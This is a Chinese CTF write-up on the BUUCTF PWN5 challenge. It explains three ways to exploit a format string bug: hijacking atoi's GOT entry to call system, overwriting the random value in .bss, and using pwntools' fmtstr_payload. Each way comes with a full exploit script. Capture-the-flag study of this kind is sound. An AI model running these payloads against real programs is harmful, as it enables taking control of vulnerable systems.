从BUUCTF PWN5看格式化字符串漏洞的三种高阶利用策略
在CTF竞赛中,格式化字符串漏洞一直是PWN方向的经典考点。BUUCTF平台上的PWN5题目以其巧妙的随机数验证机制和格式化字符串漏洞的组合,成为检验选手漏洞利用能力的绝佳案例。本文将深入剖析针对同一道题目的三种截然不同的利用思路,帮助读者建立灵活的漏洞利用思维框架。
1. 漏洞环境与核心逻辑分析
首先我们需要全面理解题目提供的二进制程序的行为模式和安全防护机制。通过checksec检查可以发现程序启用了Canary和NX保护,但仅开启了部分RELRO(Relocation Read-Only),这意味着全局偏移表(GOT)仍然可写。
程序的核心逻辑可以概括为以下几个关键步骤:
- 从
/dev/urandom读取4字节随机数存储到.bss段的dword_804C044变量 - 通过
read函数获取用户输入的name(最大0x63字节) - 使用
printf直接输出name内容,此处存在格式化字符串漏洞 - 再次通过
read获取用户输入的password(最大0xF字节) - 将password转换为整数后与随机数比较,匹配则提供shell
// 关键代码片段 fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); // 格式化字符串漏洞点 printf("your passwd:"); read(0, nptr, 0xFu); if (atoi(nptr) == dword_804C044) { system("/bin/sh"); }漏洞利用的关键约束条件:
- 输入name时的缓冲区大小为99字节(0x63)
- 格式化字符串漏洞位于第一次输出位置
- 需要绕过随机数验证才能获取shell
- 程序没有开启PIE,地址固定
2. "偷梁换柱"流:GOT表劫持技术
这种思路的核心在于利用格式化字符串漏洞修改GOT表中的函数指针,从而彻底改变程序执行流。在本题中,我们可以选择劫持atoi函数的GOT表项,将其替换为system函数的PLT地址。
2.1 技术原理
当程序调用atoi函数将用户输入的password转换为整数时,实际上会跳转到我们指定的system函数。此时如果我们输入/bin/sh字符串,就会被当作参数传递给system函数,从而直接获得shell。
from pwn import * context(arch='i386', os='linux') io = process("./pwn5") elf = ELF('./pwn5') atoi_got = elf.got['atoi'] system_plt = elf.plt['system'] payload = fmtstr_payload(10, {atoi_got: system_plt}) io.sendlineafter("your name:", payload) io.sendlineafter("your passwd:", b'/bin/sh\x00') io.interactive()2.2 优缺点分析
优势:
- 完全绕过随机数验证机制
- 利用过程直接高效,payload相对简洁
- 适用于多种类似场景,技术通用性强
局限:
- 需要目标程序调用被劫持的函数
- 依赖GOT表可写的环境(部分RELRO或更低)
- 在Full RELRO保护下无法使用
提示:在实际CTF比赛中,如果发现程序开启了部分RELRO,GOT表劫持往往是优先考虑的利用方式。
3. "精准控制"流:BSS段数据覆写
这种方法直接针对题目设计的验证机制,通过格式化字符串漏洞精确修改.bss段存储的随机数值,使其变为我们可以预测或控制的固定值。
3.1 分字节写入技术
由于我们需要修改的是一个4字节的整数,而格式化字符串的%n写入会受到已输出字符数量的影响,因此通常采用分多次单字节写入的策略:
bss_addr = 0x804C044 payload = p32(bss_addr) + p32(bss_addr+1) + p32(bss_addr+2) + p32(bss_addr+3) payload += b'%10$n%11$n%12$n%13$n'这种技术的关键在于:
- 先将目标地址及其相邻地址压入栈中
- 通过
%n系列格式化符向这些地址写入值 - 精确控制写入的字节数来实现对目标内存的精确控制
3.2 完整利用示例
from pwn import * p = process("./pwn5") bss_addr = 0x804C044 # 构造地址部分 payload = p32(bss_addr) + p32(bss_addr+1) + p32(bss_addr+2) + p32(bss_addr+3) # 构造格式化字符串部分 payload += b'%10$n%11$n%12$n%13$n' p.sendlineafter("your name:", payload) p.sendlineafter("your passwd:", str(0x10101010)) p.interactive()3.3 技术特点
适用场景:
- 需要精确修改特定内存值的情况
- 当目标程序有自定义验证逻辑时
- 在GOT表不可写时的替代方案
技术难点:
- 需要精确计算地址偏移和写入值
- payload构造相对复杂
- 对输入长度限制敏感
4. "工具简化"流:自动化payload生成
对于追求效率的CTF选手,pwntools提供的fmtstr_payload函数可以大大简化格式化字符串漏洞的利用过程。这种方法将底层细节封装,让开发者专注于利用逻辑。
4.1 pwntools的fmtstr模块
fmtstr_payload函数的核心参数:
- 偏移量(本例中为10)
- 需要写入的地址-值对
- 可选的写入字节大小(默认为4字节)
from pwn import * io = process("./pwn5") dword_804C044 = 0x804C044 payload = fmtstr_payload(10, {dword_804C044: 0x1}) io.sendlineafter("your name:", payload) io.sendlineafter("your passwd:", str(0x1)) io.interactive()4.2 内部工作原理
fmtstr_payload函数内部会自动处理:
- 地址对齐和排列
- 写入值的大小端处理
- 输出字符数的精确计算
- 偏移量的自动调整
4.3 使用建议
最佳实践:
- 在时间紧张的CTF比赛中优先考虑
- 当需要快速验证漏洞可利用性时
- 对格式化字符串利用不太熟悉时的学习工具
注意事项:
- 可能无法处理特别复杂的写入场景
- 生成的payload可能不是最优解
- 需要准确知道偏移量
5. 策略选择与实战考量
面对一个实际的格式化字符串漏洞,如何选择最合适的利用策略?我们需要综合考虑以下因素:
| 考量因素 | GOT劫持 | 精确内存修改 | 自动化工具 |
|---|---|---|---|
| 技术难度 | 中等 | 较高 | 低 |
| Payload长度 | 较短 | 较长 | 中等 |
| 通用性 | 高 | 中等 | 高 |
| 防护绕过能力 | 依赖RELRO状态 | 通用 | 通用 |
| 学习价值 | 高 | 很高 | 低 |
在实际CTF比赛中,建议按照以下决策流程选择利用方式:
- 检查安全防护措施(特别是RELRO状态)
- 评估漏洞触发点的输入长度限制
- 分析程序逻辑中的关键验证点
- 根据比赛剩余时间和自身熟练度选择策略
对于BUUCTF PWN5这道题,三种方法都能成功利用,但各有特点:
- GOT劫持最具教育意义,展示了函数指针劫持的威力
- 精确内存修改最能锻炼底层技能,适合深入学习
- 自动化工具最适合实战,能快速拿到flag
在真实的漏洞利用场景中,往往需要根据具体情况灵活组合多种技术。格式化字符串漏洞的魅力就在于它提供了多种可能的内存操作方式,理解这些技术背后的原理,才能在面对新颖的防护措施时游刃有余。